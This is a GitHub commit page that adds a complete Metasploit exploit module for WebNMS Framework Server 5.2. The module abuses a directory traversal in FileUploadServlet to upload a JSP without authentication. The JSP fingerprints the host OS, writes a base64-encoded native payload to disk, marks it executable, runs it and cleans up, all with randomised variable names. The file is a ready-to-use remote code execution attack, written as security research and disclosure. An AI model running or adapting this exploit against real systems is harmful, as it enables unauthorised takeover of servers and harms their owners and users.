Skip to content

Commit eeba35f

Browse files
author
Pedro Ribeiro
authored
Create file for WebNMS 5.2 remote code execution
1 parent cf95c9f commit eeba35f

File tree

1 file changed

+224
-0
lines changed

1 file changed

+224
-0
lines changed

‎modules/exploits/multi/http/webnms_file_upload.rb

Lines changed: 224 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,224 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
include Msf::Exploit::EXE
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'WebNMS Framework Server Arbitrary File Upload',
18+
'Description' => %q{
19+
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
20+
unauthenticated user to upload text files by using a directory traversal attack
21+
on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
22+
executes a malicious payload, achieving code execution under the user which the
23+
WebNMS server is running.
24+
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
25+
Windows and Linux.
26+
},
27+
'Author' =>
28+
[
29+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
35+
],
36+
'DefaultOptions' => { 'WfsDelay' => 15 },
37+
'Privileged' => false,
38+
'Platform' => %w{ linux win },
39+
'Targets' =>
40+
[
41+
[ 'Automatic', { } ],
42+
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
43+
{
44+
'Platform' => 'linux',
45+
'Arch' => ARCH_X86
46+
}
47+
],
48+
[ 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
49+
{
50+
'Platform' => 'win',
51+
'Arch' => ARCH_X86
52+
}
53+
]
54+
],
55+
'DefaultTarget' => 0,
56+
'DisclosureDate' => 'Jul 4 2016'))
57+
58+
register_options(
59+
[
60+
OptPort.new('RPORT', [true, 'The target port', 9090]),
61+
OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
62+
], self.class)
63+
end
64+
65+
66+
def check
67+
res = send_request_cgi({
68+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
69+
'method' => 'GET'
70+
})
71+
if res && res.code == 405
72+
return Exploit::CheckCode::Detected
73+
else
74+
return Exploit::CheckCode::Unknown
75+
end
76+
end
77+
78+
79+
def upload_payload(payload, is_exploit)
80+
jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
81+
if is_exploit
82+
print_status("#{peer} - Uploading payload...")
83+
end
84+
res = send_request_cgi({
85+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
86+
'method' => 'POST',
87+
'data' => payload.to_s,
88+
'ctype' => 'text/html',
89+
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
90+
})
91+
92+
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
93+
if is_exploit
94+
print_status("#{peer} - Payload uploaded successfully")
95+
end
96+
return jsp_name
97+
else
98+
return nil
99+
end
100+
end
101+
102+
103+
def pick_target
104+
return target if target.name != 'Automatic'
105+
106+
print_status("#{peer} - Determining target")
107+
os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
108+
jsp_name = upload_payload(os_finder_payload, false)
109+
110+
res = send_request_cgi({
111+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
112+
'method' => 'GET'
113+
})
114+
115+
if res && res.code == 200
116+
register_files_for_cleanup('jsp/' + jsp_name)
117+
if res.body.to_s =~ /Linux/
118+
return targets[1]
119+
elsif res.body.to_s =~ /Windows/
120+
return targets[2]
121+
end
122+
end
123+
124+
return nil
125+
end
126+
127+
128+
def generate_jsp_payload
129+
opts = {:arch => @my_target.arch, :platform => @my_target.platform}
130+
payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
131+
exe = generate_payload_exe(opts)
132+
base64_exe = Rex::Text.encode_base64(exe)
133+
134+
native_payload_name = rand_text_alpha(rand(6)+3)
135+
ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
136+
137+
var_raw = rand_text_alpha(rand(8) + 3)
138+
var_ostream = rand_text_alpha(rand(8) + 3)
139+
var_buf = rand_text_alpha(rand(8) + 3)
140+
var_decoder = rand_text_alpha(rand(8) + 3)
141+
var_tmp = rand_text_alpha(rand(8) + 3)
142+
var_path = rand_text_alpha(rand(8) + 3)
143+
var_proc2 = rand_text_alpha(rand(8) + 3)
144+
145+
if @my_target['Platform'] == 'linux'
146+
var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
147+
chmod = %Q|
148+
Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
149+
Thread.sleep(200);
150+
|
151+
152+
var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
153+
cleanup = %Q|
154+
Thread.sleep(200);
155+
Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
156+
|
157+
else
158+
chmod = ''
159+
cleanup = ''
160+
end
161+
162+
jsp = %Q|
163+
<%@page import="java.io.*"%>
164+
<%@page import="sun.misc.BASE64Decoder"%>
165+
<%
166+
try {
167+
String #{var_buf} = "#{base64_exe}";
168+
BASE64Decoder #{var_decoder} = new BASE64Decoder();
169+
byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
170+
171+
File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
172+
String #{var_path} = #{var_tmp}.getAbsolutePath();
173+
174+
BufferedOutputStream #{var_ostream} =
175+
new BufferedOutputStream(new FileOutputStream(#{var_path}));
176+
#{var_ostream}.write(#{var_raw});
177+
#{var_ostream}.close();
178+
#{chmod}
179+
Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
180+
#{cleanup}
181+
} catch (Exception e) {
182+
}
183+
%>
184+
|
185+
186+
jsp = jsp.gsub(/\n/, '')
187+
jsp = jsp.gsub(/\t/, '')
188+
jsp = jsp.gsub(/\x0d\x0a/, "")
189+
jsp = jsp.gsub(/\x0a/, "")
190+
191+
return jsp
192+
end
193+
194+
195+
def exploit
196+
@my_target = pick_target
197+
if @my_target.nil?
198+
print_error("#{peer} - Unable to select a target, we must bail.")
199+
return
200+
else
201+
print_status("#{peer} - Selected target #{@my_target.name}")
202+
end
203+
204+
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
205+
# Fail if this is the case and ask the user to select an appropriate payload.
206+
if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
207+
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
208+
end
209+
210+
jsp_payload = generate_jsp_payload
211+
jsp_name = upload_payload(jsp_payload, true)
212+
if jsp_name == nil
213+
fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
214+
else
215+
register_files_for_cleanup('jsp/' + jsp_name)
216+
end
217+
218+
print_status("#{peer} - Executing payload...")
219+
send_request_cgi({
220+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
221+
'method' => 'GET'
222+
})
223+
end
224+
end

0 commit comments

Comments
 (0)